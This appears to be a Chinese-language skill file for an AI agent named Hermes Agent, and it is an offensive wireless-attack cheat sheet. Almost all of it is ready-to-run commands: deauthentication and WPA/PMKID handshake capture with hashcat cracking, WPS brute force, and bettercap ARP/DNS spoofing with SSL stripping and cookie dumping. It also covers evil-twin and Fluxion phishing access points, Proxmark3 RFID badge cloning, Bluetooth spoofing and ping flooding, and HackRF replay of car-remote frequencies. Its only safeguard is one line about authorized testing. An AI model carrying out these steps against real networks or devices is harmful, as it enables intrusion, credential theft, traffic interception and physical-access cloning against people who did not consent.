| name | wireless-security |
| description | 无线安全 — WiFi破解、蓝牙攻击、RFID克隆、SDR |
| version | 1.0.0 |
| author | Hermes Agent |
| license | MIT |
| metadata | {"hermes":{"tags":["wireless","wifi","bluetooth","rfid","sdr","aircrack","wpa","ble"]}} |
无线安全工具链
核心工具
| 工具 | 用途 |
|---|
| Aircrack-ng | WiFi破解套件 |
| Wifite2 | 自动化WiFi攻击 |
| hcxdumptool | PMKID捕获 |
| hcxpcapngtool | 抓包转换 |
| bettercap | 网络攻击/中间人/BLE |
| Kismet | 无线嗅探/IDS |
| Fluxion | 社工WiFi钓鱼 |
| mdk4 | WiFi拒绝服务 |
| Fern WiFi Cracker | GUI WiFi破解 |
| rfidresearchgroup | RFID工具 |
| Proxmark3 | RFID/NFC读写/克隆 |
| Ubertooth | 蓝牙嗅探 |
| GQRX/SDR# | 软件定义无线电 |
1. Aircrack-ng — WiFi破解套件
安装
sudo apt install aircrack-ng
完整流程
airmon-ng start wlan0
airmon-ng check kill
airodump-ng wlan0mon
airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF -c 6 -w capture
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 wlan0mon
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
aircrack-ng -j capture_hashcat capture-01.cap
hashcat -m 22000 -a 0 capture_hashcat.hc22000 wordlist.txt
WPS攻击
wash -i wlan0mon
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
bully -b AA:BB:CC:DD:EE:FF -c 6 wlan0mon
2. Wifite2 — 自动化WiFi攻击
安装
git clone https://github.com/derv82/wifite2.git
cd wifite2 && sudo python3 setup.py install
用法
sudo wifite2
sudo wifite2 -i wlan0
sudo wifite2 --wpa
sudo wifite2 --wps
sudo wifite2 --kill
3. hcxdumptool — PMKID捕获
安装
sudo apt install hcxdumptool hcxpcapngtool
用法
sudo hcxdumptool -i wlan0mon --filterlist_ap=targets.txt --filtermode=2 -o capture.pcapng
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -m 22000 -a 0 hash.hc22000 wordlist.txt
PMKID vs 握手包
- PMKID: 不需要客户端在线,主动发probe请求
- 握手包: 需要客户端连接或deauth触发
4. bettercap — 网络攻击
安装
sudo apt install bettercap
go install github.com/bettercap/bettercap@latest
ARP欺骗/MitM
sudo bettercap -iface wlan0
>> net.probe on
>> net.show
>> arp.spoof on
>> set arp.spoof.targets 192.168.1.100
>> set arp.spoof.fullduplex true
>> arp.spoof on
>> set dns.spoof.domains target.com
>> set dns.spoof.address 192.168.1.1
>> dns.spoof on
>> set http.proxy.sslstrip true
>> http.proxy on
>> set net.sniff.verbose true
>> net.sniff on
>> set http.proxy.script /path/to/dump_cookies.js
WiFi攻击
>> wifi.recon on
>> wifi.show
>> set wifi.deauth.targets AA:BB:CC:DD:EE:FF
>> wifi.deauth on
>> set wifi.ap.ssid "FreeWiFi"
>> set wifi.ap.channel 6
>> wifi.ap on
BLE(蓝牙低功耗)
>> ble.recon on
>> ble.show
5. Proxmark3 — RFID/NFC
安装
git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3 && make -j$(nproc)
sudo make install
常用命令
proxmark3 /dev/ttyACM0
lf search
lf hid read
lf hid clone -r 200400000
lf t55xx detect
hf search
hf mf rdbl -b 0 -k FFFFFFFFFFFF
hf mf dump
hf mf autopwn
hf mf cload -f dump.bin
lf em 410x reader
lf em 410x clone --id 1234567890
6. Ubertooth — 蓝牙嗅探
安装
sudo apt install ubertooth
git clone https://github.com/greatscottgadgets/ubertooth.git
cd ubertooth/host && mkdir build && cd build && cmake .. && make && sudo make install
用法
ubertooth-btle -f
ubertooth-btbb
ubertooth-btle -t AA:BB:CC:DD:EE:FF
7. 蓝牙攻击
spooftooph — 蓝牙欺骗
sudo apt install spooftooph
spooftooph -i hci0 -n "Target Device" -a AA:BB:CC:DD:EE:FF
Bluetooth Classic
hcitool scan
hcitool inq
sdptool browse AA:BB:CC:DD:EE:FF
obexftp -b AA:BB:CC:DD:EE:FF -p file.txt
l2ping AA:BB:CC:DD:EE:FF -s 1024
8. SDR — 软件定义无线电
工具
sudo apt install gqrx-sdr rtl-sdr hackrf
gqrx
rtl_fm -f 433.92e6 -M am -s 48k | aplay -r 48k -f S16_LE
hackrf_transfer -t signal.raw -f 433920000 -s 2000000 -a 1
hackrf_transfer -r capture.raw -f 433920000 -s 2000000
常见频率
315 MHz — 汽车遥控(美国)
433 MHz — 汽车遥控(欧洲/亚洲)、IoT
868 MHz — 欧洲IoT
915 MHz — 美国IoT
2.4 GHz — WiFi/蓝牙
9. 钓鱼WiFi
Fluxion — 社工WiFi
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion && sudo bash fluxion.sh
hostapd-mana
git clone https://github.com/sensepost/hostapd-mana.git
cd hostapd-mana && make -j$(nproc)
hostapd-mana fakeap.conf
Pitfalls
- 需要支持监听模式的网卡 — 大多数内置网卡不支持
- 推荐网卡 — Alfa AWUS036ACH (AC1200)、Alfa AWUS036NHA
- airmon-ng check kill — 必须先杀掉NetworkManager等干扰进程
- PMKID不是所有AP都有 — 老AP可能不支持
- Proxmark3固件要更新 — 老固件功能不全
- SDR需要天线匹配 — 不同频率用不同天线
- WiFi攻击在有些国家违法 — 只在授权范围内测试
- 蓝牙范围有限 — 通常10米内